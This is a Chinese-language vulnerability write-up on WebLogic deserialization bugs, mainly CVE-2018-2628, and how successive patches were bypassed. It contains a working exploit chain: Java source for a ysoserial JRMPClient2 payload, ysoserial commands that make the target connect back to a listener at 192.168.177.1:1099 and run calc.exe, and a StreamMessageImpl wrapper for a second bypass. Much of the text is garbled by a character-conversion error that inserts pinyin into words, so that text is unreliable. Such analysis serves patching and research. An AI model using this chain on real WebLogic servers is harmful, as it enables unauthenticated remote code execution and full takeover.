WebLogic反序列化漏洞的實(shí)例分析

今天就跟大家聊聊有關(guān)WebLogic反序列化漏洞的實(shí)例分析，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結(jié)了以下內(nèi)容，希望大家根據(jù)這篇文章可以有所收獲。

漏洞簡(jiǎn)介

2018年4月18日，Oracle官方發(fā)布了4月份的安全補(bǔ)丁更新CPU（Critical Patch Update），更新中修復(fù)了一個(gè)高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻擊者可以在未授權(quán)的情況下通過(guò)T3協(xié)議對(duì)存在漏洞的 WebLogic 組件進(jìn)行遠(yuǎn)程攻擊，并可獲取目標(biāo)系統(tǒng)所有權(quán)限。

漏洞影響

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic 反序列化漏洞歷程

這里簡(jiǎn)單的說(shuō)下幾個(gè)有公開利用方式的Weblogic反序列化漏洞。

CVE-2015-4852

2015年11月6日，F(xiàn)oxGlove Security 安全團(tuán)隊(duì)的 @breenmachine 發(fā)布的一篇博客中介紹了如何利用Java反序列化和 Apache Commons Collections 這一基礎(chǔ)類庫(kù)來(lái)攻擊最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 這些大名鼎鼎的Java應(yīng)用，實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 庫(kù)來(lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。查看了CVE-2015-4852的補(bǔ)?。╬21984589_1036_Generic），發(fā)現(xiàn)    Weblogic 采用的黑名單的形式來(lái)修復(fù)這個(gè)漏洞。

但是這種修復(fù)方式很被動(dòng)，存在被繞過(guò)的風(fēng)險(xiǎn)，只要發(fā)現(xiàn)可用并且未在黑名單之外的反序列化類，那么之前的防護(hù)就會(huì)被打破，系統(tǒng)遭受攻擊。而后的漏洞也證明了這一點(diǎn)。

CVE-2016-0638

Weblogic的反序列化的點(diǎn)有著三個(gè),黑名單ClassFilter.class也作用于這三個(gè)位置。

• weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream

• weblogic.rjvm.MsgAbbrevInputStream.class

• weblogic.iiop.Utils.class

有人發(fā)現(xiàn)利用weblogic.jms.common.StreamMessageImpl的 readExternal()也是可以進(jìn)行反序列化操作的，而且這個(gè)不受黑名單限制，所以可以繞過(guò)了之前的補(bǔ)丁。

CVE-2016-3510

原理是將反序列化的對(duì)象封裝進(jìn)了weblogic.corba.utils.MarshalledObject，然后再對(duì) MarshalledObject進(jìn)行序列化，生成 payload 字節(jié)碼。反序列化時(shí) MarshalledObject 不在 WebLogic 黑名單里，可正常反序列化，在反序列化時(shí) MarshalledObject對(duì)象調(diào)用 readObject 時(shí)對(duì) MarshalledObject 封裝的序列化對(duì)象再次反序列化，這樣就逃過(guò)了黑名單的檢查。

CVE-2017-3248

Java遠(yuǎn)程消息交換協(xié)議 JRMP 即 Java Remote MessagingProtocol ，是特定于 Java 技術(shù)的、用于查找和引用遠(yuǎn)程對(duì)象的協(xié)議。這是運(yùn)行在 Java 遠(yuǎn)程方法調(diào)用 RMI 之下、TCP/IP 之上的線路層協(xié)議。

這個(gè)漏洞就是利用 RMI 機(jī)制的缺陷，通過(guò) JRMP 協(xié)議達(dá)到執(zhí)行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister，這將會(huì)序列化一個(gè) RemoteObjectInvocationHandler，該RemoteObjectInvocationHandler使用UnicastRef建立到遠(yuǎn)端的 TCP 連接獲取RMI registry。    此連接使用 JRMP 協(xié)議，因此客戶端將反序列化服務(wù)器響應(yīng)的任何內(nèi)容，從而實(shí)現(xiàn)未經(jīng)身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行。

CVE-2018-2628 漏洞分析

首先我們來(lái)看以下 CVE-2017-3248 這個(gè)漏洞的補(bǔ)丁（p24667634_1036_Generic），在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一個(gè)resolveProxyClass    ，這個(gè)resolveProxyClass只是對(duì) RMI 接口類型進(jìn)行了判斷，判斷 RMI 接口是否為java.rmi.registry.Registry，是的話拋出錯(cuò)誤。        

仿照JRMPClient寫一個(gè)JRMPClient2，重新編譯。

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {public Activator getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registry        TCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {Activator.class}, obj);return proxy;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());PayloadRunner.run(JRMPClient2.class, args);}}

生成 payload：

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2

可以對(duì)比以下JRMPClient 和JRMPClient2 生成的 payload。    

除了 RMI 接口不一樣，其他都是一樣的。

JRMPLister開啟

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

我測(cè)試的 Weblogic 版本是10.3.6.0.170117，即已修復(fù)了CVE-2017-3248漏洞，在我本地的環(huán)境中，CommonsCollections這個(gè) payload 已經(jīng)失效了。Weblogic 的commons-collections.jar版本已經(jīng)升級(jí)，所以我這里 payload 用的是Jdk7u21（這個(gè) payload 只有在 JRE 版本小于等于 1.7u21 才起作用）。在commons-collections.jar版本沒(méi)有升級(jí)的    Weblogic 中，使用CommonsCollections 這個(gè) payload 是可以的。

使用 t3 協(xié)議腳本發(fā)送 p_client2，可以看到JRMPLister有請(qǐng)求過(guò)來(lái)了，客戶端命令也執(zhí)行成功了。

作為對(duì)比，將JRMPClient生成的 p_client 也發(fā)送過(guò)去，可以看到報(bào)錯(cuò)信息Unauthorized proxy deserialization，正是黑名單攔截拋出的錯(cuò)誤。

可見(jiàn)java.rmi.activation.Activator是繞過(guò)了CVE-2017-3248的補(bǔ)丁了。

另外一種繞過(guò)補(bǔ)丁的方式

這種方式是我在復(fù)現(xiàn)漏洞時(shí)嘗試 payload 的時(shí)候發(fā)現(xiàn)的，繞過(guò)的方式和CVE-2016-0638有關(guān)。

StreamMessageImpl這個(gè)點(diǎn)在反序列化的時(shí)候沒(méi)有resolveProxyClass檢查。所以可以使用StreamMessageImpl將RemoteObjectInvocationHandler序列化，以此來(lái)繞過(guò)resolveProxyClass函數(shù)。相當(dāng)于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 來(lái)繞過(guò)補(bǔ)丁。

將JRMPClient生成的 payloadObject 用StreamMessageImpl封裝生成新的 payload——p_stream。

    public static Object streamMessageImpl(byte[] object) throws Exception {StreamMessageImpl streamMessage = new StreamMessageImpl();streamMessage.setDataBuffer(object, object.length);return streamMessage;}

使用腳本發(fā)送，可以看到，成功執(zhí)行了命令。    

CVE-2018-2628補(bǔ)丁分析

初步比對(duì)補(bǔ)丁(p27395085_1036_Generic)，發(fā)現(xiàn)WeblogicFilterConfig.class的黑名單多了一個(gè)sun.rmi.server.UnicastRef。

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

但是根據(jù)我的實(shí)際測(cè)試，命令還是可以執(zhí)行成功，貌似補(bǔ)丁沒(méi)起作用。    

看完上述內(nèi)容，你們對(duì)WebLogic反序列化漏洞的實(shí)例分析有進(jìn)一步的了解嗎？如果還想了解更多知識(shí)或者相關(guān)內(nèi)容，請(qǐng)關(guān)注億速云行業(yè)資訊頻道，感謝大家的支持。